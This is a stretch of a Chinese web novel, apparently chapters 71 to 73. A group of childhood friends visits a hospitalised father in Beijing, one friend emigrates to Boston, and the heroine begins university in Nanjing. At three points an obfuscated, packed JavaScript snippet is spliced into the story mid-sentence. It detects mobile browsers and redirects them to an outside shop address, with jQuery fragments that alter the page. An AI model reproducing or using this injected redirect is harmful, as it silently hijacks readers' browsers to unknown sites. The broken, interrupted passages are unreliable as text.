再次坐上绿皮火车,心情却不似当初。徐澄月坐在最里面,头靠窗,往外望,两边倒退的风景像电影,一帧一帧播放。有人被踢趴在地上,有人狂笑不止,火车的轰隆戛然而止,有人只剩个背影。 徐澄月猛地坐直,扶着脑袋大喘气。 一只手伸过来抓住她,她像抓住浮木,用力回握。 “怎么了,澄澄,做噩梦了?”俞麒弯腰去看,她面色潮红,脑门挂着汗,他替她擦去。 徐澄月慢慢平复下来,“嗯,好像是做梦了。我们快到了吗?”窗外景物变换的速度变缓。 “对,快到了。”俞麒拍她的背让她顺气。 从月台到另一个月台,他们穿过两千多公里。 几人在火车上窝了一夜,身上又潮又闷,给家里报过平安后,商量着先去酒店收拾一番,还是直接去医院。 岳清卓等不及了,拍板先去医院。 按着江菀给的地址,一路顺畅找到江爸所在医院和病房。 江妈见着他们,激动得不行,又看一个个衣服皱巴,头发也乱,身上还散发一股舟车劳顿的气息,顿时心疼不已,怀里抱两个,手里拉两个,问他们一路过来顺不顺利,有没有吃饭。 方之敛一一答过,视线一转,落到床上躺着的江爸,人瘦了很多,像失了水分的木条,“江叔,怎么样了?” 江妈和隔壁两床借几张椅子,让他们坐下,又倒水、削水果给他们吃,“前阵醒过一次,但又昏睡过去,现在情况还算稳定,醒来只要不受刺激,就不会继续昏睡了。” “刺激?”俞麒敏锐抓到关键。 江妈却没回应,给他一个安抚的笑,俯身替江爸掖掖被子,声音轻柔,说,几个小辈来看你了,争气点,早点醒,别让孩子们辛苦这一趟。 知道江爸情况暂时稳定,方之敛不想说太多安慰的话让大家都沉浸在悲伤氛围,和俞麒使个眼色,两人一唱一和把话题引到别处去。 自然而然提及高考,江妈问过他们的成绩和填报志愿,听到岳清卓报考了警校,吃惊地拉过她,语气不乏担忧,“你这孩子,怎么上赶着去吃苦”,念叨虽念叨,了解她的执着,也替她祈祷能报上。 轮到自家儿子,她也开开心心的,“小北说他考得应该还不错,报了工程类、计算机智能类的专业,都选了江浙那边的学校。”这话说完,她目光温柔,落一眼在徐澄月身上。 徐澄月感受到,似懂非懂地回笑一下。 “对了江姨,韫北呢,怎么没见到他?” 话音刚落,房门被推动,迟迟未出现的人,一身白T牛仔裤,左手拎两袋饭盒,右手拎一个纸袋,东西应该不轻,手臂青筋隐隐浮现。和旁边床叔叔打过招呼,才看到他们,迟缓几秒,眨眨眼,惊喜道:“你们怎么在这?” 方之敛和俞麒被他的反应逗笑,上去一人一袋帮他拎东西,简单说了事情经过。 江妈看到打包的饭,才反应过来已经中午,忙让江韫北带几人去吃饭,再回家洗漱休息,两个女孩子不肯,想陪着她,她皱皱鼻子,故作嫌弃,“都埋汰得和路边小猫似的,快回去洗洗睡一觉,睡醒再来。” 她双手一展,拱着几人往外走,又趁他们不注意,偷偷往江韫北口袋里塞了几百块钱。 医院周围没什么店,江韫北把人领到租的房子附近,一家大排档。他娴熟地和老板点完菜,让他们进里边坐,“这家店是附近最好吃的一家,物美价廉,我还帮着给医院的人介绍,老板给我算介绍费呢。” 方之敛、俞麒和岳清卓,你看看我,我看看你,心里都有些不是滋味。 徐澄月在烫碗筷,像以前一样搭腔:“是吗,没浪费你这张嘴。” “喂徐澄月,”江韫北敲敲碗沿,“这么久不见,一见面就要干架是吧!” 方之敛条件反射按住他的手,“韫北,吃饭不能敲碗。” 无声几秒,几人齐齐爆笑。 许久没这么畅快地吃饭,都吃得不少,江韫北见他们一个个肚子圆滚,一脸餍足,满意地笑,叼着牙签去结账,被老板告知,已经结过了。 “喏,”老板指指边上两人,“俩小伙子,赶一块儿了。” 江韫北按住口袋,几张纸币隔着薄薄的裤袋,贴在腿上,翘起的几个角刮蹭着,他感受着那几处痒痒的触感,能数清里面有多少张。 他低头,苦笑一声,看到他们,那笑又明媚起来,炫耀道:“都是我特好的朋友。” 吃得太撑,本想散会步,但北京大中午的太阳,像瀑布一样,没有感情地倾泻而下,江韫北驳回徐澄月的要求,赶羊似的把他们赶回家。 江妈租的是一房一,江韫北来了后她想换个大点的,他没让,除了陪护,直接睡客厅沙发,睡得腰酸,干脆买了张凉席铺在地方睡个自在。现在方之敛和俞麒还能一块凑合,但他姐和徐澄月肯定不能和他们一样,他换掉卧室的床单被套,把空调打开。 哪知两人洗完澡,非要挤在外面和他们一起。 徐澄月有理有据:“以前在老家,不都这么干吗?” “那不一样!”江韫北挠挠脑袋,不知道该怎么委婉地解释现在男女有别,求助地看向其余两人。 俞麒摸摸鼻子不作声,方之敛静默半晌,妥协,“那就一块吧。” 他们睡凉席,两个女孩睡从床上拿下来的软垫。空调开得低,没一会吹得身上凉飕飕,江韫北把两张薄被丢给女孩,叮嘱盖好。 似乎都很享受这久违一刻,他们知道彼此都睁着眼,说不说话无所谓。 半晌,江韫北想起来,问他们来北京的具体过程,得知是徐澄月的主意,用膝盖轻轻碰她的,“行啊,以后出去说第一桶金是你带着挣的,多有面子”,又感动他们折腾一个多月,就为来北京一趟,“怎么不找个地方玩玩?” 没得到回应,他左右看一眼,都听睡着了,他笑了笑,没什么睡意,上学的时候没午睡的习惯,来北京后更没有,一面要和她妈轮转照顾他爸,一面跟着他们公司之前的员工处理仓库堆积的货。 货物折损、仓储费、管理养护费,晚一天处理都在耗钱,和那位员工转了大半个月也推不出去,前些天他们一位朋友从国外回来,帮忙处理了,今天才帮着搬离仓库。 短短一个多月,他从一个两耳不闻窗外事的吊儿郎当学生,变得可以在北京这座大城市穿梭自如,对医院各种繁杂手续了如指掌,可以独自处理与那家人的纠纷,见识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151795|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了社会险恶,利益往来,也看过一遍人心冷暖。 这就是长大吗? 那长大的滋味,可真难受。 他双手垫在脖子下,兴致寥寥地盯着白墙看。 “少了你,没什么意思。” 突然,他听到耳边传来这么一声,轻轻的,低低的,擦着他耳廓一过。他扭头,旁边的人平躺着,被子盖住全身,右手伸出半截胳膊,身上架着他姐的腿,脑袋歪向他,几根头发贴着微干的嘴唇。 那话像梦话,却清晰得不像梦话。 若是以前听到,他肯定会嘚瑟半天,然后在她面前不断重复,惹得人烦了骂他一顿才肯罢休,但现在,他希望不是。 也不知道之前哪来的自信,觉得能和她,和一群伙伴们一直在一块,大抵是年少猖狂又无知,总以为一群人的力量足够抵挡一切。 长大了,却发现变渺小了。在自然与社会中,在意外面前,在生死面前,他们渺小得像麦芒。不起眼,聚成一捧,也少得可怜。 前些天,他爸醒过一次,没有找谁,也不在意自己什么状况,睁眼就问那家人怎么样。知道那人没救回来,他情绪失控,吐血、进手术室、再次昏迷。 医生说危险期已经过了,只剩一些外伤,一直醒不过来,可能是当时受的冲击太大,需要等他清醒,尝试心理治疗。 他们那位国外友人正好来探望,听到消息,提议等人醒过来,换个环境休养。他在波士顿的生意还算稳定,可以帮他们还完剩余债款,也可以帮他们一家三口在那边安顿生活。 他不解,他以为他们家现在这样,除了一些相识于微的朋友,其他人虽不至于落井下石,但肯定能避就避,作壁上观。 或许为解答他的疑惑,那人将往事全盘托出,江爸当初如何收留落魄的他,如何鼓励甚至出钱帮他做生意,在他失败后又给了他机会。他说得详实,并不在意重现当时潦倒的自己。 他这才知道,他是那几年过年,开奔驰穿意大利西装,去他们家送西施佳雅红酒的人。他说他记得当时那份情,现在也不吝于帮他们。 他妈犹豫着,没下决断,大概是因为他爸没醒。 问他?他没回答。但他知道,他心里有答案。 他起身去浴室打桶水,放在空调出风口。又找出了江妈的润唇膏,拿棉签轻轻抹在她唇上。 再度躺下,他扯过自己被子一角,盖在她露出的胳膊上。他的手压着被子,印出她手指的轮廓。他盯着看一会,闭上眼,手却不受控制,慢慢往下移,屈起尾指,轻轻的,隔着被子,勾住她的。 徐澄月,以后要是我不在,也要有意思才行啊。 徐澄月几人在北京待了一周,准备走时,江爸醒了。 情况不太好,心理治疗开始介入。几天后,稳定一些,他们大喜过望。 但江妈和他们说,他们准备出国,要去波士顿。 面对他们的无措和伤心,江韫北轻巧地说,会再见的啊。 一撮人道别,一撮人失落,徐澄月记忆里,这画面定格了他们的十八岁。 就像小时候玩捉迷藏,她总要故意问一句,藏好了吗?精明的人一声不吭,不太聪明的伙伴大声应“藏好了”。她笑得得逞,循声去找,找着找着忘了游戏,一群人结伴回家去,然后在岔口分开。没被找着的人,有的在原地等,有的也会离开。 他们都沿着自己的方向,不约而同地,走进大人堆里。 72. 第 72 章 江爸情况稳定些后,江韫北和他们一道回云水村,收拾家当,办出国手续,和亲戚们道别。 事已至此,阿爷那是瞒不住了。 江韫北和他坦白时,方妈在场,怕老人一个激动出什么事,下了夜班赶来的,岳清卓捏着手机随时准备叫救护车,徐澄月紧攥着速效救心丸,每个人都担忧阿爷的反应,而他装出轻松,希望借此减轻阿爷的担忧。 三句话将事情说完,末了嬉皮笑脸搂着阿爷,说,你可是走过大半辈子的人,什么风雨没见过对不对,现在人好好的,就是最好的事,钱没了可以再挣嘛。 阿爷还算镇静,一个劲点头,但他瞄到,他直挺的背慢慢垂下去,剩一截贴在椅背上,像蜡烛燃过耷拉的芯,他伸手托住,听阿爷说:“我早该发现的,他这么久没回来,电话也没打,他从不会这样,打小就顾家,那时候分配工作,去了一个偏僻的小地方,大过年回不来,走十几公里路也要去打电话和我们报平安,问我们过得好不好,还把发的补贴都寄回家。后来自己做生意,无论多忙,每周都会给我打电话,两三个月回来看我一次,有了你妈和你,也记挂着我。突然没了消息,我早该猜到是出事了。” 听着阿爷故作冷静的语气,他心里像被厚棉被闷住,嘴上只能插科打诨:“这样听来,我爸比我省心,你看看,我回云水村后,闯了多少祸,气了你多少回,不是说隔代亲嘛,我看你和我爸,也挺亲的嘛。” 阿爷强颜欢笑,长舒几口气,握着他的手问:“走之前,我们父子俩能再见一面不?我上北京去,你领着我去?”话尾已然带了哽咽。 回来之前,他妈再三叮嘱过,若是阿爷提起要来北京,让他一定劝住,路途折腾不说,看到他爸一身管子的样子,估计受不住。 他只能找借口,狠心道:“不是不给你去啊,这路远,一来一回折腾,再把你累着,而且我爸朋友那边也耽搁不了太久,办完签证就得走,我们不能再给人添麻烦了。不过我拍了照,我们回来时他精神状态不错,还给你录了段视频,我手机没电了,等会给你看。” 阿爷被这么劝住,又问他能待多久,他说最多一周。阿爷沉默了。 稳住阿爷,他也没能停下休息,还要去办各种手续,去学校咨询老师国外读书事宜,照母亲说的,给借他们钱的叔叔阿姨道谢,送借条,从早跑到晚。所幸赶在最后两天弄好,还能歇一天喘口气。 走近他们楼下,他理了理跑一天乱糟糟的衣服,揉一把脸,让自己精神一点,往前几步,就见徐澄月蹲在防盗门前,缩成一团,下巴搁在膝盖上,应该是等无聊了,拨着地缝里的杂草玩。 他没急着喊她,嘴角牵着笑,安静看了会,短短几十秒,一路的疲惫和沉重好似被抚平一些。 见面的这些天,他们其实没怎么单独相处,在北京她陪着他妈照看他爸,他去给那位朋友打下手,解决堆积货物的事。回来了,他也忙着处理各种琐事,没来得及和她说说话,斗斗嘴。要说什么,他也不知道,大学录取通知书已经收到,可他要走了。那句“和你一道”的承诺,也没能实现。 “徐澄月,破坏公共环境呢?”他单手插兜,慢慢走过去,开口还和以前一样不着调。 “天黑了眼神不好使?”徐澄月斜他一眼,“我妈煮了砂锅粥,喊你过去吃。” “那走吧。”他拍一下她脑袋,“怎么在这等,不给我打电话?” “打了,你没接。” 他掏出来看,忘了充,又打了一天电话,关机了,“没电了,下次别等。” 下次? 徐澄月垂眸,绞着手指,“也不知道有没有下次了。”意识到自己嘴快,连忙揭过,“你事情都办完了吗?” “嗯,都办好了。” “去了那边,到哪上学?” “还不知道,冯叔叔给我申请了几所学校,到时看,可能得先练英语,不然课也听不懂。” 想起他报上的那所学校,徐澄月欣慰地笑,“都是考上重本的人了,还怕区区一个英语?” 他摸摸后脑勺,难得有些不好意思,“我就是瞎报,试试看的,谁知道踩狗屎运,居然刚好过线。”他的志愿是徐澄月帮他找的,他填的时候,第一志愿填了比他成绩高出20多分的一所学校,虽然被调剂到一个冷门专业,但好歹过线。 徐澄月想起文理分班那会,俞麒给他用模型测算的数据,“看来我没说错,你确实住在出题老师的脑子里。” 江韫北谦虚,“凑巧凑巧。” “差点啊江韫北,差点,我们就能继续做校友了。”徐澄月不清楚心里那股强烈的不舍从何而来,她也不知道该怎么发泄这股难受,骂江韫北一顿?不行,不是他的错,他已经够难过了。她想,只能慢慢等时间消化吧。她笑了笑,转移话题,“不过也没事,至少证明你高三这年的书和试卷没白啃。” “徐澄月。”他停住脚步,她的不舍叫他更加愧疚。 “先上去喝粥吧,待会该凉了。”徐澄月没有停留,直接上了楼。 见人来了,徐妈立马将粥端出来,招呼他过去吃。他没顾上吃晚饭,热腾腾的鲜粥让人胃口大开,捧着碗狼吞。 徐妈看得直笑,给他倒茶,让他慢点吃。 “就想您做的饭呢,慢不了。” “马屁精。”徐澄月咬着苹果点评他的殷勤。 江韫北不乐意了,“怎么说话呢,我这叫真心实意。” “好了好了,多大了,还斗嘴,羞不羞。”先前徐妈还担心,一连串的事会让他大受打击,但还好,没她想得那么糟,“我听阿爷说,你后天就要回北京了?” 江韫北喝完最后一口汤,放下碗,“嗯,得回去了。阿姨,我妈让我带个话,她说时间赶,就不回来和你们道别了,等到那边稳定了,再打电话回来,希望你们别怪她,也别忘了她。还有,我爸的事,叔叔阿姨们前前后后帮了那么多,她也没能回来道谢,心里过意不去,派我做代表,给您和其他叔叔阿姨们说声谢谢。” “你这孩子,说的什么话?”徐妈轻拍他一下,“远亲不如近邻,十几年老朋友了,讲这些客套的做什么。让你妈安安心心过去,等情况好了再回来,我们姐妹几个还聚一块玩。” “就是,我就说她穷担心。” 徐妈叹气,语重心长道:“小北啊,到那边要有什么事,就给我们打电话,娘俩儿不要强撑,知道吗?” “您放心,只要您别嫌烦。对了徐姨,我阿爷那边,也得麻烦你们帮着照看了。” “小事,都是小事,我们都平安就好,顺利就好。”徐妈揉一把他的脑袋,“还要不,再给你添一碗?” “还有吗?”他瞥一眼边上的人,悄声说:“别给我吃光了,徐澄月又要撒泼打滚了。” 徐澄月作势拿苹果核砸他,“直接打你。” 江韫北放声笑。 吃完收拾好,他和母女俩告辞。 徐妈让女儿下楼送送,徐澄月没话说,看他一眼,转身回了房。 到家静悄悄,只留了一盏小灯,姑姑他们应该睡了,他想去看看阿爷,门拧开一条缝,就见里头亮着灯,安静的空间里压着一道断断续续的抽泣。 阿爷靠在床头,一手掩面,一手握着刚买的手机,手机里头空空,只有他传过去的几张他爸的照片。 他不敢进去,轻轻阖上门,靠在墙上,好一会,伸手按掉开关。 无边的黑暗压着,他不敢出声,呼吸也变成黑暗的,怕惊扰好不容易愿意释放情绪的阿爷。阳台门没关,夜风没有阻挡地吹进来,它们比他还要熟悉他心里的裂缝。 风吹凉他脸上的温热,他倚着墙,慢慢坐到地上。 * 第二天云水村不知什么节,要祭祖,阿爷一早起来,要回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199374|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去蒸米粿。 江韫北陪他回去,爷俩在洗手间打照面,看见彼此肿了一圈的双眼,默契地拿冷水敷。 徐澄月几人也知道他们要回,早早起来在楼下等,一行人搭最早的班车回去。 像小时候那样,阿爷干活,他们跟在阿爷身后捣乱。阿爷偶尔会停下来,指使他们帮忙,忙昏了小小斥责,叫他们一边待着。 他们就一边待着去,地上铺张竹席,翻出以前玩的纸牌、棋牌、游戏机,围成圈坐在一块玩。玩到激动处,欢呼嘚瑟,和以前一样。 等阿爷把一切收拾妥当,他们帮着把东西提去庙里,上香祭拜。 阿爷照例给他们五人点了香,江韫北惯常是不要的,他不信这些,觉得心不诚不拜也好,这次却意外地要阿爷给他也点。 拜完回去,阿爷给他们蒸米粿,做的时候江韫北就喊着要吃,白胖胖的米粿重新下锅,他就馋得站一旁等着。 没过一会,他接到电话,一些手续出了问题,要提前回去。 他急匆匆改签了火车票,午饭也来不及吃,就扛着行李去火车站。 除了阿爷,几人去送他。 男孩之间的告别比较理性,一个拥抱,一句“有事打电话”,胜过千言万语。 倒是岳清卓,难得在他们面前哭,揪着江韫北的书包带不放。 江韫北好声好气地哄着,叮嘱她到警校了训练要小心,不要年纪轻轻又折腾出一身伤,又朝方之敛捶一圈,说把他姐交给他了,要好好照顾着。 像是知道他说什么,方之敛笑着点头。 哄好了,把她交给方之敛,转向徐澄月,展开双手,“我都要走了,不来抱一下送别?” 徐澄月嫌弃地缩缩身体,带着点鼻音说:“江韫北,你可真肉麻。” “那电视上不都这么演的吗?”她眼眶红着,口是心非,他看得难受,只好揉乱她的头发,“行,不抱就不抱吧,你也照顾好自己,一个小姑娘在外边,有事就给他们俩打电话,北京离南京也不远。还有烤鸽,你不带去学校对吧,那就留在家陪徐叔徐姨和阿爷。哦对,俞麟没来,你们帮我和他说一声,不用惦记我,空了会给你们打电话的。行了,快发车了,我走了。” 他拎起沉重行李,往站内走。快到检票口,他丢下东西,跑回徐澄月面前,一把将她带进怀里,“还是要有点仪式的。徐澄月,我走了,以后很长一段时间,可能不能陪你玩森林冰火人了,但你得知道啊,无论做什么,我都是支持你的,以后呢,你就继续大胆去做你想做的事,除了让自己开心,其他什么都不重要。” 徐澄月缓缓抬起手,想回抱一下,可他头也不回,抽身奔进了车站。 他们魂不守舍地回了家。 阿爷在门口鸡蛋果树下等着,像以往无数个等他们回家的时刻,“回来了,米粿蒸好了,快来吃吧。” 米粿蒸好了,揭开竹盖,热气轰地冒出来,十几秒后,消失了,米粿的香味也没了。 江韫北,也不在了。 一周后,下过一场大雨,又出太阳。 湿漉漉的晴天,他们在火车站,即将搭上不同方向的火车。 去往北京的车先出发,徐澄月笑嘻嘻和他们说再见。 俞麒一步三回头,叮嘱了又叮嘱,有事一定要立马找,她应了又应。 坐上自己的班车,父母在对面聊天,她靠在窗上,思绪放空。 一撮人道别,一撮人失落,徐澄月记忆里,这画面定格了他们的十八岁。 就像小时候玩捉迷藏,她总要故意问一句,藏好了吗?精明的人一声不吭,不太聪明的伙伴大声应“藏好了”。她笑得得逞,循声去找,找着找着忘了游戏,一群人结伴回家去,然后在岔口分开。没被找着的人,有的在原地等,有的也会离开。 他们都沿着各自的方向,不约而同地,走进大人堆里。 73. 第 73 章 南京的夏天酷热,与广东不相上下。室内对着风扇吹都嫌热的天气,大一新生却要在烈日下军训一个月。 徐澄月在广东住了多年,无缝衔接,倒也顺利。宿舍里除了本地人陈卉敏,其他两个女孩时常在“冒火”边缘。白天折腾得够呛,晚上就想睡个好觉,因此两人同她们商量,空调开一整晚,她们再多出点电费。 徐澄月没意见,也没答应让她们多摊电费。陈卉敏也同意,但怕凉,对床东北女孩林爽,一把将毛毯送上她床——那是林妈被东北气温误导特地准备的厚毯。 就这样,夜间她们宿舍提前过上秋天。 太过安逸的结局是,她们成了专业里迟到次数最多的人和宿舍。 再次被拎出来示众,教官恨铁不成钢似的,在她们面前走了好几圈,“都最后一天了,不能给我留个好印象?” 林爽硬着头皮接话:“报告,这印象才特别嘛。” “还敢说?”教官扯下帽子,想罚她们跑圈,可这些天罚来罚去就跑圈、站军姿两样,她们也不长记性,“给大家表演个节目,最后一天放过你们。” 他们专业四个班,两百多号人,齐刷刷的视线堪比毒太阳。陈卉敏立马低头,往徐澄月身后挪两步,徐澄月安抚地拍拍她手,与林爽交换个目光,对方点头,她举手报告:“教官,我和林爽同志愿意代表408宿舍表演一套军体拳。” 教官对她的提议略有兴趣。军体拳是最后一个项目,费心费力教了一周,一个个打出来比不过一皮影人,被其他教官笑了一圈。唯独这两人,一个跟着发小练过,一个家学渊源,打得有模有样,表演一段,给那群崽子作示范,也能给他拉拉面子。 “行,”两人摆好姿势,教官拦住,“等会再表演,现在先入队。” 为明天阅兵,今天训练也不轻松。十一点,各方阵休息,徐澄月和林爽,屁股刚沾地就被喊上去,打到一半,周围方阵的教官过来围观,一句“不错啊,两朵军花啊”,围观的变成一个个方阵。 人群围成圈,她们俩在正中心,像马戏团猴子一样被观赏。林爽一个踢腿,顺势靠近徐澄月,小声嘀咕:“这黑娃不会拿我俩炫耀呢吧?”他们教官,是所有教官里最黑的。 “八成是。”徐澄月瞄到他脸上得意的笑。 “五分钟换十五分钟,亏死。” “打都打了,赶紧打完撤。” 她们加快速度。 打完谢幕,有人大喊“安可”,林爽以拳做话筒:“压轴出场的是我们教官,表演军体拳一套,大家欢迎。” 底下陈卉敏和黎映之接收到她的信号,一把将教官往上推。 起哄声更大。 晚训没有再训练,大家围在一起唱军歌,说些感性话,第二天阅兵结束,军训也结束了。 回宿舍路上,听到有人回味,陈卉敏和黎映之深恶痛绝:“还以为和高中一样,做做样子,玩玩就过去了,一个月,早训加晚训,真是疯掉了。” 林爽说:“高中的军训,教你先甜后苦,大学的军训,是要你先苦后甜,姑娘们,美好日子就要来了,准备好了吗?” “当然。” 好日子来临第一天,四人在20℃的宿舍睡了一下午。晚上下馆子吃顿好的,庆祝苦日子结束。回去途中,经过超市,黎映之提议买点酒小酌几杯,顺便来场宿舍夜谈,过去每天晚上倒头就睡,开学一个月几人都没好好联络一下感情。 “会不会被阿姨发现啊?”陈卉敏跃跃欲试,却仍有顾虑。 “不会的,”见徐澄月和林爽没反对,她迈腿走进店里,“只要不发酒疯,当然,有我在,不会让你们发酒疯的。” 黎映之没有纯买啤酒,还买了些其他的准备自己调。家里有表哥是开酒吧,她时常去,虽然被严令禁止喝酒,但调酒的功夫,学了个七八成。 原本还有些小不安的陈卉敏,看到一杯杯五颜六色的东西,瞬间被俘获,央着黎映之再给她调个别的颜色。 黎映之觑着她已经泛红的脸色,头疼,不会吧,5度不到,才喝了两口,就醉了?为捍卫她言出必行的威严,她偷偷把她的酒换成可乐,告诉她这是新调的。 “叫什么?”陈卉敏捧着脸,眼睛闪闪地看她。 黎映之编不出来,徐澄月救场:“海底深渊!” “对,喝吧,快喝。” 酒过三巡,话也密起来。从天南地北聊到各自家乡,从高中生活聊到朋友伙伴,从喜好兴趣聊到约定出行,从青春杂志聊到少女心事。 十八岁的每个人,都有一段隐秘的酸涩的不为人知的情感,大多遗憾收场,但似乎每个人都觉珍贵。 黎映之说:“分啦,上大学前就分了,他考得没我好,说什么异地没有好结果,分就分呗,下一个更好。”她闷一大口酒。 林爽站起来,往门上一靠,手不用伸全就能摸到门顶,再摸摸自己一手掌握的胸,甩甩短发,“我真的不像女孩吗,他用这里理由拒绝我哎。” 徐澄月摇头,朝她举杯,“没有,你超帅,和我一个发小好像。” 林爽:“是吧,我也觉得我不差,那家伙没眼光。” 陈卉敏抱着杯子迷糊说:“我爸妈说,不能早恋。” 黎映之勾起她下巴,眼睛半眯,一边脸在台灯不甚亮的光影里,很是迷人,“哟,我们卉卉还是个纯情小女孩呢,可不能让人轻易骗去。” 林爽碰碰徐澄月,“你呢,要不要借酒消愁?” “消愁?”黎映之反驳,“消什么愁,这是快活!” 林爽:“对对对。” 徐澄月摇头,“我没有暗恋也没有早恋。” 黎映之:“那就是明恋咯?” 徐澄月顿住,酒杯停在嘴边。那些不清不楚的情愫,算吗?她从没细想过,只知道时而像沸水一样,不停有泡泡冒出来,时而平静得如同一本不会有人去翻的旧书。 平静的时间似乎比冒泡的时间长。 她吞下一口酒,说也没有。 黎映之与她碰杯,“期待谁会来摘下我们这轮月亮。” 黎映之作为久经沙场的人,把控着他们的量。陈卉敏已经躺倒,徐澄月和林爽也露出亢奋端倪,她果断收走酒,一人泡了一杯蜂蜜柚子茶。 “欸,你们喝醉过吗?”林爽觉得自己有些激动,有不断的话想说,甚至想冲下楼和阿姨唠一杯,但黎映之守在门口。 黎映之说:“高考结束那晚醉了,不服气,偷偷练了两个月。” 徐澄月拄着脑袋,晃着杯子,“我啊,醉过啊,六年级那会,误喝大人的酒,喝多了身上发烫,跑到屋顶吹风,摔下来了。” 林爽:“啊,摔下来了!” 徐澄月:“不过没事,被接住了,有人当了我的垫背,我直接睡过去了,他就比较惨,被我压了屁股,还擦伤脸,留了个小月牙的疤。” 林爽猜测:“也是你发小?” 徐澄月发蒙,有问必答:“是啊。” “男的女的?” “男的。” 两道起哄声。 “他考去哪了?也是咱学校?” “不是,他出国了。” 像被强行关机,她毫无征兆地睡过去。 后来怎么上床的她不清楚,第二天被手机吵醒来已经中午,其他人还在睡。 屏幕上闪着俞麒的名字,瞬间清醒,她捏着手机跌跌撞撞下床,念叨着喝酒误事,出了门才接听。 俞麒就在宿舍楼前等着。 都是经过军训拷打,顶着一张灰了好几个度的脸,打上照面,徐澄月就狂笑不已,“不知道的以为我们捡煤去了。” 俞麒摸摸自己的脸,“黑得很明显?” 徐澄月点头,事实证明,太阳不会青睐帅哥。 “等很久了吧?昨天睡得晚,没听到铃声。” 俞麒笑着说没事,见她乱糟糟的头发,想帮她理一理,凑近就嗅到一股刺鼻气味,问:“昨晚喝酒了?” 才出笼就开始放飞自我,徐澄月不好意思地承认。 俞麒没说其他,只叮嘱别多喝,不要一个人在外面喝。 徐澄月猛点头。 “现在一点出,你洗漱一下我们去吃午饭,再逛会,五点半出发去火车站,可以吗?” 今年中秋赶上国庆,放八天假,刚出远门有些想家,她准备回去,群里和几人说,他们也是一样想法。俞麒不放心她一个人坐火车回,约好今天先来她学校,搭晚上的班车回去。 “好,你再等我一下。” 二十分钟后,徐澄月带着人去了四食堂,他们都吃不惯甜口,她只打了个推荐较多的给他试试,其余还是按他们惯常口味。吃完逛一圈学校,时间就差不多了。 回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245533|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿舍拎行李,几人都在,也准备离校回家或旅游。 黎映之在化妆,扔个小盒子给她,“提前说生日快乐哦。” 先前宿管阿姨来登记过个人信息,都知道她生日和中秋同天。 林爽和陈卉敏也都拿了小礼物给她。 “谢啦,等我回来请你们吃饭。” 七点半的火车,到家要第二天清晨。 俞麒买了卧票,一上一下,睡一觉就到。 徐澄月白天睡饱了,有一搭没一搭和他聊天,“阿敛和清卓什么时候到家?” “要明天晚上了,没买到今天的票。” “北大好玩吗?”徐澄月垂下一截手臂,打着响指玩。 “还行,有点无聊。” “是不是因为少了我们?不对啊,你还有阿敛呢。” “嗯,每周会去找他吃饭。” “俞麒,你这样可不行。”徐澄月苦口婆心劝说他,“要多去交朋友,做物理研究本来就够闷了。” 俞麒换个胳膊枕脑袋,“再、再说吧。” 徐澄月就和他说多交朋友的好处,拿他刚来云水村和后来和他们“鬼混”后的变化做例,一件一件,让俞麒无法反驳。 “记得这么清?”她讲得详细,一些被他忽略的没被注意到的细节,都在她的讲述中生动还原。 “那是,我可是六人团的头。”徐澄月小小叹了口气,“虽然现在六人团分散各地,但我也得时刻关注。” 俞麒开起玩笑,“那徐老大要记得定期回访。” 聊到凌晨,徐澄月的声音渐小,俞麒起身去看,人已经睡着了。给她拉高一点薄被,站着看了会,黑了点,也瘦了,他一只手掌就能盖住她的脸。江苏这边甜口偏多,她应该吃不惯,回去要带她多吃几顿好的。把她喜欢吃的食物在心里排了序,他才重新躺下。 半晌,她的手臂又从栏杆上垂下来,他握住那截手腕,轻轻放回去。 假期第三天是中秋,徐爸接来阿爷阿嬷,一群人在徐家聚餐,再一道给徐澄月过生日。 家里的仪式过后,年轻人还有小仪式。 往常都是江韫北策划的,今年这棒子传给了俞麟。 “江狗可说了,得好好搞,不能败坏他这个师傅的名声。” 几人正在前往游乐园夜场的路上。 徐澄月问:“你们联系过吗?”群里只有他刚到波士顿那天发的报平安,此后没再见他出现过。 俞麟说三天前下午他给他留了言,“要准备惊喜嘛,所以没在群里说。” 下午,那是波士顿的凌晨。 隔着13个小时的时差和一万多公里的距离,徐澄月对他一无所知。 “还有说别的吗?” “我问了他近况,他说还可以,但好像很忙,没说几句就下线了,刚过去要熟悉环境,上学什么的,估计没什么空闲,不过江狗那个人,适应能力还不错,过一段时间应该就好了。” 徐澄月“嗯”了声,和他们聊起别的。 夜场狂欢,他们玩到闭园才离开。俞麟又约了附近一家KTV,唱完吃宵夜,折腾到凌晨才回去。 徐澄月再次睡到中午,收拾妥当打开Q|Q,置顶联系人有三条未读消息,来自大洋彼端的人。 生日快乐啊徐澄月! 